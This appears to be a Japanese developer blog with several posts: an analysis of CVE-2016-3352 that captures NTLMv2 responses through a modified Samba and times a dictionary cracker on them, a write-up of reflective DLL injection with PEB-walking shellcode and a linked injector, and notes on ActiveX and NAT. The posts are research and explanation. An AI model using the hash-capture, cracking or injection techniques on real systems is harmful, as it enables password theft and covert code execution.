Brute-force attack against NTLMv2 Response

2016 年 9 月の Windows Update で、NTLM SSO の動作に関連する脆弱性 CVE-2016-3352 が修正されたようです。

Microsoft Security Bulletin MS16-110 – Important
https://technet.microsoft.com/library/security/MS16-110

An information disclosure vulnerability exists when Windows fails to properly validate NT LAN Manager (NTLM) Single Sign-On (SSO) requests during Microsoft Account (MSA) login sessions. An attacker who successfully exploited the vulnerability could attempt to brute force a user’s NTLM password hash.

To exploit the vulnerability, an attacker would have to trick a user into browsing to a malicious website, or to an SMB or UNC path destination, or convince a user to load a malicious document that initiates an NTLM SSO validation request without the consent of the user.

CVE – CVE-2016-3352
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3352

Microsoft Windows 8.1, Windows RT 8.1, and Windows 10 Gold, 1511, and 1607 do not properly check NTLM SSO requests for MSA logins, which makes it easier for remote attackers to determine passwords via a brute-force attack on NTLM password hashes, aka "Microsoft Information Disclosure Vulnerability."

"NTLM SSO" などのキーワードで適当にインターネット検索すると、今年 8 月に書かれた以下の記事が見つかります。

The Register – Reminder: IE, Edge, Outlook etc still cough up your Windows, VPN credentials to strangers
http://www.theregister.co.uk/2016/08/02/smb_attack_is_back/?mt=1474231650819

画面キャプチャーを見ると、なんと Microsoft アカウントのパスワードが解析されてしまっています。そして Youtube の埋め込み動画では、SMB パケットがブラウザーからリークしていることを示しています。つまり、SMB パケットに埋め込まれた NTLM メッセージに対して brute-force 攻撃をしかけることで Microsoft アカウントのパスワードを解析できる、ことを示しているようです。

これは理論的に可能でしょう。が、もしそれが 「簡単に」 できるのであれば、それは NTLM プロトコルの死を意味するべきであり、パッチとして一朝一夕に対応できるものではないはずです。SSLv3 や RC4 と同様にそのプロトコルの使用を止めるべきですが、非ドメイン環境において NTLM の代わりとなるような認証プロトコルは Windows には実装されていないはずです。

というわけで、NTLM に対する brute-force がどれぐらい簡単なのかを調べることにしました。まず、NTLM プロトコルがどうやってユーザー認証を行っているかを説明します。と言っても以下の PDF を読み解くだけです。

[MS-NLMP]: NT LAN Manager (NTLM) Authentication Protocol
https://msdn.microsoft.com/en-us/library/cc236621.aspx

NTLM が混乱を招く点として、一つのプロトコルが複数のプロトコル バージョン (LanMan, NTLMv1, NTLMv2) に対応していることです。Wiki の情報を見ると NTLMv2 は NT 4.0 SP4 から採用されているので、 NTLMv2 だけで現在は問題なく生きていけるはずです。ただし XP などの古い OS において、さらに古い OS との互換性のために NTLMv1 や Lanman に fallback するような動作が有効になっている場合があります。このへんの細かい話は長くなりそうなので、以下の KB に丸投げします。

NT LAN Manager – Wikipedia, the free encyclopedia
https://en.wikipedia.org/wiki/NT_LAN_Manager

How to prevent Windows from storing a LAN manager hash of your password in Active Directory and local SAM databases
https://support.microsoft.com/en-us/kb/299656

Security guidance for NTLMv1 and LM network authentication
https://support.microsoft.com/en-us/kb/2793313

NTLM は Challenge Reponse Authentication の一つで、簡単に書くとサーバーとクライアントが以下 3 つのメッセージを交換することで認証が行われます。(仕様によると Connectionless モードの場合は Negotiate が存在しないようですが、見たことがないのでパス。)

Client: "I want you to authenticate me."
(= Negotiate Message)

Server: "Sure. Challenge me. Use 0x0123456789abcdef as a ServerChallenge."
(= Challenge Message)

Client: "My response is !@#$%^&*()_+…"
(= Authenticate Message)

NTLM は単体で使われるプロトコルではなく、必ず別のプロトコルに埋め込まれて使われます。例えば SMB の中で使われる場合には、SMB Session Setup コマンドに埋め込まれます。ダイレクト SMB ポートである 445/tcp をキャプチャーしたときの Network Monitor 上での見え方は以下の通りです。

01
SMB packets over 445/tcp (Lines highlited in purple contain NTLM messages)

02
NTLM Negotiate Message

03
NTLM Challenge Message

04
NTLM Authenticate Message

セクション 3.3.2 NTLMv2 Authentication から、パスワードを解析するのに必要な疑似コードの計算式だけを抜き出すと以下の通りです。

[MS-NLMP]: NTLM v2 Authentication – 3.3.2 NTLM v2 Authentication
https://msdn.microsoft.com/en-us/library/cc236700.aspx

Define NTOWFv2(Passwd, User, UserDom) As
  HMAC_MD5(MD4(UNICODE(Passwd)),
           UNICODE(ConcatenationOf(Uppercase(User), UserDom)))
EndDefine

Set temp to ConcatenationOf(Responserversion,
                            HiResponserversion,
                            Z(6),
                            Time,
                            ClientChallenge,
                            Z(4),
                            ServerName, Z(4))
Set NTProofStr to HMAC_MD5(ResponseKeyNT,
                           ConcatenationOf(CHALLENGE_MESSAGE.ServerChallenge,
                                           temp))
Set NtChallengeResponse to ConcatenationOf(NTProofStr, temp)

使用しているハッシュ関数は HMAC_MD5 と MD4 のみ。入力データはいろいろあって面倒そうに見えますが、それほど難しくありません。特に、疑似コードの中で temp として扱われているバージョンやタイムスタンプなどのメタ情報が、ハッシュ値である NTProofStr と連結してそのまま Authenticate Message の NtChallengeResponse になっているからです。図示したものを ↓ に示します。図中の Metainfo が、上記擬似コードで言うところの temp です。

実際に処理するときは、パスワードを UTF-16 に変換する点と、ユーザー名を大文字に変換する点に注意が必要です。

05
Calculation of NtChallengeResponse in NTLMv2

これで材料が出揃ったのでコードを書きます。まずサーバー側のコードとして、Samba サーバーが NTLM メッセージを処理しているときに、brute-force に必要となる情報をテキスト ファイルとして書き出すようにします。これによって、前述の Youtube 動画がやっていることとほぼ同じことができます。

Yandex SMB hash capture on IE with email message – YouTube
https://www.youtube.com/watch?v=GCDuuY7UDwA

msmania/samba at ntlm-hack
https://github.com/msmania/samba/tree/ntlm-hack

テキスト ファイルと同じ内容をレベル 0 のデバッグ メッセージとしても出力するようにしました。gdb を使って smbd を実行しておくと、SMB 経由で NTLM 認証が行なわれたときにコンソールにログが記録されます。出力される情報はこんな感じです。後でまとめて grep できるようにあえてテキスト ファイルにしました。

Domain:
User: ladyg
Client: LIVINGROOM-PC
UserAndDomain=4c004100440059004700
Challenge=ae65c9f0192d64b9
Auth=0101000000000000b62acefc2d11d201ea3017d2f290d64e00..(長いので省略)
Response=39329a4a4e9052fe3d4dea4ea9c79ac5

次に、Samba サーバーが書き出したテキスト ファイルに対して実際に brute-force を行うプログラムを書きます。hashcat に新しいモードを付け足すことができればベストだったのですが、OpenCL を勉強する時間がなかったので、OpenSSL の関数を呼び出すだけの簡単なプログラムになりました。

msmania/ntlm-crack
https://github.com/msmania/ntlm-crack

このプログラムは Samba が生成したテキスト ファイルに対して、別の引数として指定したのテキスト ファイルの各行をパスワードとして NTLMv2 Reponse を生成し、Samba が出力したデータと一致するかどうかを比較します。パスワード一覧ファイルは、ネット上で探せば簡単に見つかります。ntlm-crack リポジトリにサンプルとして入れてある 10_million_password_list_top_1000.txt は、以下のリポジトリからコピーしたものです。

GitHub – danielmiessler/SecLists
https://github.com/danielmiessler/SecLists

では実際にコマンドを実行して brute-force の速度を計測します。マシン スペックは以下の通り。Windows マシンであればもっと新しいマシンで hashcat をぶん回せたのですが・・無念。

  • OS: Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-36-generic x86_64)
  • CPU: Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (Sandy Bridge)

とりあえず 100 万通りのパスワードを試してみます。

$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 3343 msec.
$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 3372 msec.
$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 3344 msec.

大体 3 秒ちょいです。特に工夫をしたわけでもないのですが、予想していたより速いです。UTF-16 変換の処理を予め済ませて、かつ並列処理をすれば 1M/s は軽く越えられそう。

もちろん実際に使われているのはこんな子供騙しではありません。参考として 4 年前の記事ですが、25-GPU を使って 95^8 通りのハッシュを 5.5 時間で生成できたと書かれています。ここでいう NTLM cryptographic algorithm が厳密に何を意味するのかは書かれていません。巷では、UTF-16 エンコードしたパスワードの MD4 ハッシュを NTLM ハッシュと呼ぶことが多く、仮にそうだとすると、5.5 時間という数字には HMAC-MD5 を 2 回計算する部分が含まれていません。試しに、今回作った ntlm-crack から HMAC-MD5 の演算を飛ばして再度実行してみます。

$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 347 msec.
$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 347 msec.
$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 346 msec.

計算時間が約 1/10 で済んでしまいました。この比率が 25-GPU マシンにも適用されるとすると、8 文字のパスワードをクラックするのに 4 年前は 55 時間かかっていたはずです。怪しい概算ですが。

25-GPU cluster cracks every standard Windows password in <6 hours | Ars Technica
http://arstechnica.com/security/2012/12/25-gpu-cluster-cracks-every-standard-windows-password-in-6-hours/

今年は AlphaGo のニュースが衝撃でしたが、そのときの Nature 論文では 1,920 CPUs + 280 GPUs のマシンで AlphaGo を動かしたという実績が書かれているので、個人での所有は難しいにしても、あるべきところ (Google や NSA?) には 4 桁のプロセッサーを動かせるマシンが存在していると仮定できます。これで 2 桁分稼げるので、10 桁程度のパスワードであれば数日で解ける恐れがあります。12 桁のパスワードにしておけば年単位の時間が必要になるので安心かも・・・?

話が逸れておきましたが、冒頭の CVE-2016-3352 の話に戻ります。Security Bulletin には、以下のような修正がなされたと書かれています。つまり、誰彼構わず NTLM SSO 認証のための SMB パケットを送るのは止めた、ということでしょうか。

The security update addresses the vulnerability by preventing NTLM SSO authentication to non-private SMB resources when users are signed in to Windows via a Microsoft Account network firewall profile for users who are signed in to Windows via a Microsoft account (https://www.microsoft.com/account) and connected to a “Guest or public networks” firewall profile.

この修正ができたということは、 「不特定多数のサーバーに SMB パケットを送ってしまう動作があったため、本来できないはずの brute-force 攻撃の標的になってしまう」 ことが問題とされていたわけです。これでようやく、Security Bulletin の "An attacker who successfully exploited the vulnerability could attempt to brute force" という部分が腑に落ちました。この件に関して言えば、brute-force の成功が現実的かどうかは関係なく、brute-force が可能であることそのものが問題だったわけです。NTLM はまだ生きていていいんだ。

あえてケチをつけるならば、CVE の方の記述における "to determine passwords via a brute-force attack on NTLM password hashes" でしょうか。NTLM は複数のハッシュ (MD4 と HMAC-MD5) を使いますが、NTLM password hash と書くと、パスワードのハッシュ、すなわち一段階目の MD4 ハッシュを想定するのが普通です。しかし、MD4 ハッシュは一回目の HMAC-MD5 の鍵として使われるだけで、ネットワーク上を流れることはなく、brute-force の攻撃対象にはなりません。Microsoft 側の Security Bulletin では "attempt to brute force a user’s NTLM password hash" となっており、こちらの記述のほうがより正確な気がします。最近の流行は pass-the-hash 攻撃なので、平文のパスワードに替えて、ハッシュ値が brute-force の標的であってもおかしくはありません。

ところで、なぜ Microsoft アカウントに関する言及があるかというと、冒頭で紹介した The Register の記事にもありますが、Microsoft アカウントのユーザー名がユーザーのメール アドレスであり、OneDrive や MSDN などのサービスのアカウントとしても使われているからです。世界のどこかにあるパソコンのユーザー アカウント "Mike" のパスワードが分かってもできることは限られていますが、Microsoft アカウントのパスワードが解析されると大変なことになります。だからこそ今までこの古いバグが放置されてきたのかもしれません。ただ、ユーザー名が平文で SMB として流れるのは気持ち悪いですが。

(2016/9/19 追記)

9 月のアップデート後に、LAN ディスクや SAMBA にアクセスできなくなったというツイートやフォーラムを幾つか見つけましたが、おそらく CVE-2016-3352 に対する修正が原因と思われます。どうするんでしょうかね。

update kb3185614の不具合について、LANDISKへの接続やリモートアクセスができなくなる – マイクロソフト コミュニティ
http://answers.microsoft.com/ja-jp/windows/forum/windows_10-update/update/f5219540-a2a5-4b09-b9b6-e944dcbbed38

Reflective DLL Injection

社内のツールで、任意のプロセスに対して DLL のコードを埋め込んでそれを呼び出すツールがありました。そのソースを見ると、VirtualAllocEx、WriteProessMemory、そして CreateRemoteThread を使ってけっこう簡単に他プロセスへのコードの埋め込みを実現していました。

VirtualAllocEx function (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx

CreateRemoteThread function (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx

何これ超便利・・・と感動しつつこの方法についてググると、かなり古くから知られた手法の一つのようで、"createremotethread virtualallocex コード" などのキーワードで日本語のサイトもたくさんヒットします。検索上位に来て分かりやすいのが↓あたり。CreateRemoteThread 以外にも、ウィンドウのサブクラス化を使う方法がメジャーなようです。

ドリーム工房 – デスクトップを乗っ取る
http://www18.atpages.jp/skydreamer/maniax/desktop.php

別のプロセスにコードを割り込ませる3つの方法 – インターネットコム
http://internetcom.jp/developer/20050830/26.html

上記の一つ目のサイトで紹介されている方法は、事前にアセンブリ言語で書いておいたペイロードを WriteProcessMemory でターゲットに埋め込んでおいて、そのアドレスを開始アドレスとしてCreateRemoteThreaad を呼び出しています。ペイロードの中に LoadLibrary する DLL のファイル名をハードコードして、LoadLibrary を直接アドレス指定で call しています。

二つ目のサイトの方法はもっと単純で、開始アドレスを LoadLibrary のアドレスにし、リモートスレッドのパラメーターとして、予めターゲットに埋め込んておいた DLL のファイル名となる文字列のアドレスを渡すというものです。

これらの方法は、Kernel32.dll に実装された LoadLibrary() のエントリポイント (実体は kernelbase.dll) がプロセス間で共有であるという前提に基づいています。この前提については、上記 internetcom.jp の 「付録 A)なぜKERNEL32.DLLとUSER32.DLLは常に同じアドレスにマッピングされるのか」 で説明されています。

これだけでも十分に実用に値するのですが、個人的にはちょっとエレガントさに欠ける気がします。そもそも、kernel32.dll が同じところにマップされるという前提に依存するのがあまり美しくないのですが、もう一つ問題点があります。インジェクターとターゲットのビット数が違うときに、LoadLibrary のアドレスをインジェクター側で取得できないという点です。インジェクターが 64bit プロセスのときは、64bit kernel32.dll 上の LoadLibrary のアドレスが取得できますが、ターゲットが 32bit のときにこれは使えません。逆の場合も同じです。とはいっても些細な問題であり、32bit と 64bit それぞれのインジェクターを用意すればいいだけの話ですが、ターゲットによってインジェクターを変えるのはやはり美しくないのです。

後始末の問題もあります。ターゲットの中で LoadLibrary を実行することができれば、ロードした DLL の DllMain が呼ばれるので、そこからまた新たに新しいスレッドを作るなどして任意のコードを実行させることができます(ローダーロックの問題があるので、DllMain 関数自体はさっさと終わらせないとおかしなことになる、はず。)。また、立つ鳥跡を濁さず、という諺もあるように、全てが終わった後は DLL は FreeLibrary され、さらに VirtualAllocEx しておいたメモリ領域も解放されている、というのが日本的美的センスから見た美しいコード インジェクションではないでしょうか。

簡単そうなのは、ターゲットプロセスではなくインジェクターで後処理を行う方法です。これは上記のinternetcom.jp で紹介されています。メモリ領域の解放は単純に VirtualFreeEx を呼ぶだけですが、FreeLibrary には少しトリックが必要です。というのも、FreeLibrary を呼ぶためには、LoadLibrary からの戻り値である HMODULE、すなわちロードされた DLL のベース アドレスが必要だからです。紹介されている例では、CreateRemoteThread で起動したリモートスレッドが終了するまで待機してから、ベース アドレスをスレッドの終了コードとして GetExitCodeThread を使って取得しています。これはなかなか面白い方法ですが、64bit だと使えないはずです。なぜなら、スレッドの開始関数である LPTHREAD_START_ROUTINE は、本来 DWORD を返すことが想定されており、GetExitCodeThread で取得できるのも DWORD の 32bit 整数だけです。64bit では当然 HMODULE も 64bit アドレスなので、GetExitCodeThread だと、イメージベースの 上位 32bit を取得できません。そのほかの方法として、インジェクトしたコードの中でイメージベースをバッファー内に書き込んでおいて、それをインジェクター側から参照する方法が考えられます。これなら任意のサイズのデータをターゲットからインジェクターに返すことができるので、64bit でも問題はありません。ただ、そもそものデザインとして、インジェクター側でリモート スレッドの終了を待機するのは不満です。

というわけで、後処理をターゲット内で行う方法を考えます。ターゲット内で後処理を行う場合、単純な関数呼び出しで FreeLibrary や VirtualFree を実行して後処理を行うと、制御が戻ってきたときのリターン アドレスが解放済みになってしまうため、アクセス違反が起こります。これもいわゆる use-after-free でしょうか。

そこでまず、FreeLibrary は DLL 外部から実行する必要があります。これは上述の 1 つ目のサイト (ドリーム工房) で紹介されている方法のように、アセンブリで書いたシェルコードを用意してそこから LoadLibrary/FreeLibrary を呼べば解決です。

シェルコードがあるのであれば、メモリ解放についても、VirtualFree をそのまま call するのではなく、スタックを自分で積んでから jmp で VirtualFree を実行することで、VirtualFree 実行後のコード位置を指定して use-after-free 問題を解決できそうです。

アセンブリでシェルコードを書く場合でも、ドリーム工房の方法のように、インジェクター側で取得したアドレスをシェルコードに動的に埋め込むことは可能です、が、何とかしてシェルコード内でイメージベースのアドレスを取得したいところです。そんな方法はないものかと探したところ、けっこう簡単に見つかりました。それがこれ、今回の記事のタイトルにした Reflective DLL Injection。

GitHub – stephenfewer/ReflectiveDLLInjection
https://github.com/stephenfewer/ReflectiveDLLInjection/

ポイントは dll/src/ReflectiveLoader.c に実装された ReflectiveLoader という関数です。そういえば昔覚えたことをすっかり忘れていましたが、Windows では、セグメント レジスタ fs または gs が指すセグメントに PEB や TEB を保存しています。覚えておくとけっこう使えます。

Wikipedia にも情報があります。

Win32 Thread Information Block – Wikipedia, the free encyclopedia
http://en.wikipedia.org/wiki/Win32_Thread_Information_Block

このセグメントレジスタはけっこう身近なところでも使われています。最たる例は、GetLastError() や GetCurrentProcessId() で、x86/x64 それぞれのアセンブリを示すとこんな感じです。また、ちゃんと確かめていませんが、metasploit で遊んでいた時に meterpreter の先頭のコードでもセグメント レジスタを見ていた記憶があります。

0:000> uf kernelbase!GetLastError
KERNELBASE!GetLastError:
775cecd0 64a118000000    mov     eax,dword ptr fs:[00000018h]
775cecd6 8b4034          mov     eax,dword ptr [eax+34h]
775cecd9 c3              ret
0:000> uf kernelbase!GetCurrentProcessId
KERNELBASE!GetCurrentProcessId:
7767cf60 64a118000000    mov     eax,dword ptr fs:[00000018h]
7767cf66 8b4020          mov     eax,dword ptr [eax+20h]
7767cf69 c3              ret

0:000> uf kernelbase!GetLastError
KERNELBASE!GetLastError:
00007ffe`d4f21470 65488b042530000000 mov   rax,qword ptr gs:[30h]
00007ffe`d4f21479 8b4068          mov     eax,dword ptr [rax+68h]
00007ffe`d4f2147c c3              ret
0:000> uf kernelbase!GetCurrentProcessId
KERNELBASE!GetCurrentProcessId:
00007ffe`d4f98b60 65488b042530000000 mov   rax,qword ptr gs:[30h]
00007ffe`d4f98b69 8b4040          mov     eax,dword ptr [rax+40h]
00007ffe`d4f98b6c c3              ret

上記関数は、TEB にある情報を使うので、x86 では fs:18h、x64 では gs:30h のアドレスが TEB であると分かります。

Reflective DLL Injection は、PEB にあるロード済みモジュールのリストからイメージ ベースを取得しています。以下の MSDN に書かれているように、PEB::Ldr->InMemoryOrderModuleList が示すデータには、ロード済みモジュールの名前とベースアドレスの双方向リンクト リストが入っています。

PEB structure (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx

PEB_LDR_DATA structure (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/aa813708(v=vs.85).aspx

というわけで、以下のロジックをアセンブリで書いて CreateRemoteThread で埋め込めば、まさに実現したい動作が可能です。

  1. セグメント レジスタから PEB を取得
  2. PEB からロード済モジュール リストを取得
  3. リストから Kernel32.dll のベースアドレスを取得
    (ユーザーモード プロセスに kernel32.dll は必ずロードされていると考えてよい)
  4. ベースアドレスから PE イメージの構造を解析し、エクスポート テーブルを取得
  5. エクスポート テーブルを検索して LoadLibrary の開始アドレスを取得

少々めんどくさそうですが、一旦 C で書いて、コンパイルされたアセンブリを整形すればそれほど難しくはないはずです。

この方法を使えば、LoadLibrary だけでなく、シェルコードの中で実行したい API のアドレスを全部取得することができます。また、本記事とは関係ありませんが、コード領域内をパターン検索すれば、エクスポートされていない関数のアドレスも探せるはずです。とにかく、これで後片付けの問題は解決しました。すなわち、シェルコードを以下のようなロジックにします。

  1. LoadLibrary で好きな DLL をロード (ファイル パスは予めバッファーに入れておく)
  2. GetProcAddress でエクスポート関数のアドレスをゲット (DllMain には何も書かなくてよい)
  3. 関数を単純に call で実行
  4. FreeLibrary で DLL をアンロード
  5. ExitThread のアドレスを push して VirtualFree に jmp

というわけで書いたコードがこれ↓

https://github.com/msmania/procjack/tree/1.0

メインのインジェクターは、pj.exe で、これに ターゲットの PID とインジェクトしたい DLL、そして実行したいエクスポート関数の序数を指定すると、ターゲットの中でコードが実行されます。実行の様子はこんな感じ。

Capture

シェルコードをデバッグしたい場合は、ターゲット側でスレッド作成時に例外を捕捉するようにしておくと、CreateRemoteThread が実行された時点でブレークしてくれて便利です。こんな感じ。

02

前述の通り、シェルコードは予め C で書いて expeb.exe としてコンパイルしてからアセンブリを整形しました。したがって、expeb のロジック自体は windows.h をインクルードしなくても動きます。Visual C++ だけでなく clang と gcc でもコンパイルして、もっとも効率の良いアセンブリを使おうと考えたのですが、結局 VC++ のアセンブリに落ち着きました。clang あたりがトリッキーなアセンブリを生成してくれるかと期待したのですが、どれも大差のないもので、最後は呼び出し規約の関係で VC++ に軍配が上がった感じです。長さは 1000 バイト前後です。手で頑張ればもう少し短くできそうな気はします。

試していませんが、Windows XP や 2000 でも動くはずです。少なくとも expeb.exe を Windows XP で動かして関数アドレスをとってくるところは問題ありませんでした。

ターゲットが AppContainer プロセスの時にも対応させるため、インジェクトする DLL のアクセス権をチェックして、"APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES" (SID=S-1-15-2-1) に対して読み取りと実行権限を割り当てています。実はこっちのコードを書く方が面倒だった・・・。Low プロセス用の権限を追加し忘れたので、Low だと動かないかも・・そのうち追加して更新します。

これで当初の目的は達成できた、と思いきや、実は一点だけ実現できていないことがあります。というのも、Wow64 のプロセスから Win64 のプロセスに対して CreateRemoteThread を実行すると、ERROR_ACCESS_DENIED で失敗してスレッドを作れないのです。VirtualAllocEx や WriteProcessMemory は問題ないのですが。逆の、Win64 から Wow64 への CreateRemoteThread は問題ありません。次のブログでいろいろ考察しているのですが、ちょっと時間がなくちゃんと読めていません。何かうまい方法があると思っているのですが。

DLL Injection and WoW64
http://www.corsix.org/content/dll-injection-and-wow64

最後にふと思い出したのが、知る人ぞ知るやねうらお氏の不真面目なほうのプロフィール。Reflective programming というより、やっていることはこっちに近いような。

やねうらおプロフィール
http://bm98.yaneu.com/bickle/profile.html

メインルーチンをオールアセンブラで組んだ、縦スクロールシューティングゲームを作成。創刊当時のマイコンBASICマガジンに投稿。BASICの部分は、16進ダンプをreadしてpokeしたのち、それを実行しているだけというBASICマガジンをナメ切った自慢の作品。当然のごとく、ボツにされる。

これでようやく小学校五年生の頃のやねうらお氏に追いついた!かもしれない。

EPM-compatible ActiveX control

ちょっとした小ネタを。以前、MFC ベースの ActiveX コントロールを Visual Studio で作る方法を書きましたが、それに対する補足です。

MFC Custom ActiveX Control on IE11 | すなのかたまり
https://msmania.wordpress.com/2014/10/06/mfc-custom-activex-control-on-ie11/

上記記事で作った ActiveX コントロールは、Protected Mode が有効であるゾーン、すなわち Low Integrity Level のプロセスでも動作させることができますが、Enhanced Protected Mode (EPM)、すなわち AppContainer のプロセスでは動きません。EPM を有効にしてページを開くと、以下のようなポップアップが表示されます。

image

This webpage wants to run ‘(ActiveX control name)’ which isn’t compatible with Internet Explorer’s enhanced security features. If you trust this site, you can disable Enhanced Protected Mode for this site and allow the control to run.

ここで Run Control を選ぶと ActiveX が使えるようになります。が、これは現在のサイトに対してのみ EPM を無効にしたためであり、 Protected Mode でページを開いているからです。この機能、すなわち、サイト レベルで EPM のオン/オフを切り替える機能に UI はなく、サイト名と同じ名前のレジストリが HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabProcConfig の下に作られることで実現されています。この機能については、以下のブログで触れられています。

How Internet Explorer Enhanced Protected Mode (EPM) is enabled under different configurations – AsiaTech: Microsoft APGC Internet Developer Support Team – Site Home – MSDN Blogs
http://blogs.msdn.com/b/asiatech/archive/2013/12/25/how-internet-explorer-enhanced-protected-mode-epm-is-enabled-under-different-configurations.aspx

This per domain configuration is located in registry, path HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabProcConfig. As shown in the screenshot below. Each domain is configured by a DWORD value. Different DWORD values have different effects on EPM. The most common value is 0x47b, which means to use 32bit process & load incompatible add-ons. If a domain is given that 0x47b value, you will see protected mode as “On”, not “Enhanced”.

一度 Run Control をクリックしてしまうと、元に戻すにはレジストリを削除するしかなさそうです。

TabProcConfig の助けを借りなくても、ActiveX コントロールに EPM に対する互換性を持たせることができます。その方法が以下の MSDN のページに書かれている、と思いきや実は書かれていません。

Supporting enhanced protected mode (EPM) (Windows)
https://msdn.microsoft.com/en-us/library/ie/dn519894(v=vs.85).aspx

この GUID で定義されるカテゴリを使ってコントロールを登録しろと書かれていますが、肝心な方法が書かれていません。DEFINE_GUID で定数を定義するコードは載っていますが、欲しいのはそれじゃない。

Register the ActiveX control as one that is compatible with AppContainers. To do this, you register your control with the CAT_ID AppContainerCompatible ({59fb2056-d625-48d0-a944-1a85b5ab2640})

具体的なコードは Stack Overflow で見つかりました。ActiveX コントロールそのものではなく、regsvr32 でコントロールを登録するときに、カテゴリの GUID も登録する必要があるみたいです。

internet explorer – IE BHO Toolbar in EPM (Enhanced Protected Mode) – Stack Overflow
http://stackoverflow.com/questions/17591740/ie-bho-toolbar-in-epm-enhanced-protected-mode

というわけで、Visual Studio のテンプレートが自動的に生成した 2 つの関数 DllRegisterServer と DllUnregisterServer を以下のように変更します。必要かどうか分かりませんが、念のため Unregister も変更しておきます。コントロールの GUID である CLSID_RunMeOnIE は、環境によって異なるので注意してください。

全体のコードについては、こちらをご確認ください。
https://github.com/msmania/RunMeOnIE

const GUID CDECL CATID_AppContainerCompatible =
{ 0x59fb2056, 0xd625, 0x48d0, { 0xa9, 0x44, 0x1a, 0x85, 0xb5, 0xab, 0x26, 0x40 } };
const GUID CDECL CLSID_RunMeOnIE =
{ 0x5C630378, 0xA070, 0x42A6, { 0xBF, 0xD5, 0xC7, 0x46, 0xF7, 0xDC, 0xAA, 0xCC } };

HRESULT RegiterClassWithCategory(CLSID ClassId, CATID CategoryId, bool IsRegister = true) {
    ICatRegister *Registerer = NULL;
    HRESULT hr = S_OK;

    hr = CoCreateInstance(CLSID_StdComponentCategoriesMgr,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_ICatRegister,
        (LPVOID*)&Registerer);

    if (SUCCEEDED(hr)) {
        if (IsRegister) {
            hr = Registerer->RegisterClassImplCategories(ClassId, 1, &CategoryId);
        }
        else {
            hr = Registerer->UnRegisterClassImplCategories(ClassId, 1, &CategoryId);
        }

        Registerer->Release();
    }

    return hr;
}

// DllRegisterServer – Adds entries to the system registry

STDAPI DllRegisterServer(void)
{
    AFX_MANAGE_STATE(_afxModuleAddrThis);

    if (!AfxOleRegisterTypeLib(AfxGetInstanceHandle(), _tlid))
        return ResultFromScode(SELFREG_E_TYPELIB);

    if (!COleObjectFactoryEx::UpdateRegistryAll(TRUE))
        return ResultFromScode(SELFREG_E_CLASS);

    RegiterClassWithCategory(CLSID_RunMeOnIE, CATID_AppContainerCompatible);

    return NOERROR;
}

// DllUnregisterServer – Removes entries from the system registry

STDAPI DllUnregisterServer(void)
{
    AFX_MANAGE_STATE(_afxModuleAddrThis);

    if (!AfxOleUnregisterTypeLib(_tlid, _wVerMajor, _wVerMinor))
        return ResultFromScode(SELFREG_E_TYPELIB);

    if (!COleObjectFactoryEx::UpdateRegistryAll(FALSE))
        return ResultFromScode(SELFREG_E_CLASS);

    RegiterClassWithCategory(CLSID_RunMeOnIE, CATID_AppContainerCompatible, false);

    return NOERROR;
}

ocx をビルドし直し、regsvr32 で再登録してからレジストリを見ると、HKCR\CLSID\{GUID} の下に Implemented Categories というキーがあり、CAT_ID AppContainerCompatible のキーが追加されています。

image

しかし、これではまだ EPM のページで ActiveX を実行することはできません。AppContainer プロセスは、読み取り権限も厳しく制限されており、通常の作業フォルダーにもアクセスできないからです。例えばデスクトップへもアクセス権はありません。

アクセス権のあるフォルダーの一つとして、C:\Program Files フォルダーがあります。C:\Program Files 配下に適当なフォルダーを作って ocx をコピーし、再度 regsvr32 で登録し直すことで、ようやく EPM で ActiveX を動かすことができるようになります。

ここまでの話はデスクトップ IE における EPM であり、同じく AppContainer で動作する Immersive IE については、上記の方法を使っても ActiveX コントロールを動かすことはできません。そもそも Immersive IE は、プラグイン フリーのブラウジングを目的としているためです。

Get ready for plug-in free browsing (Internet Explorer)
https://msdn.microsoft.com/en-us/library/ie/hh968248(v=vs.85).aspx

How to get the original address after NAT

ポート フォワードの後に受信したソケットから、オリジナルの宛先 IP アドレスをユーザー モード側で取得する方法がようやく分かりました。Linux のカーネル デバッグまで持ち出しましたが、結論はとてもあっさりしたものでした。答えは、getsockopt 関数にオプションとして SO_ORIGINAL_DST を渡すというもので、結果としてオリジナルの宛先情報が入った struct sockaddr が返ってきます。これは超便利!

SO_ORIGINAL_DST というオプションは <linux/netfilter_ipv4.h> で定義されているのですが、getsockopt の説明ではなぜか触れられていません。キーワードさえ分かってしまえば検索できるのですが、何も知らないとここまで辿りつくのは難しい、と思います。この前見つけた IP_RECVORIGDSTADDR とか IP_ORIGDSTADDR とは一体なんだったのか、という疑問も残ります。

getsockopt(3): socket options – Linux man page
http://linux.die.net/man/3/getsockopt

以下簡単に、カーネル デバッグからどうやってたどり着いたかを書いておきます。

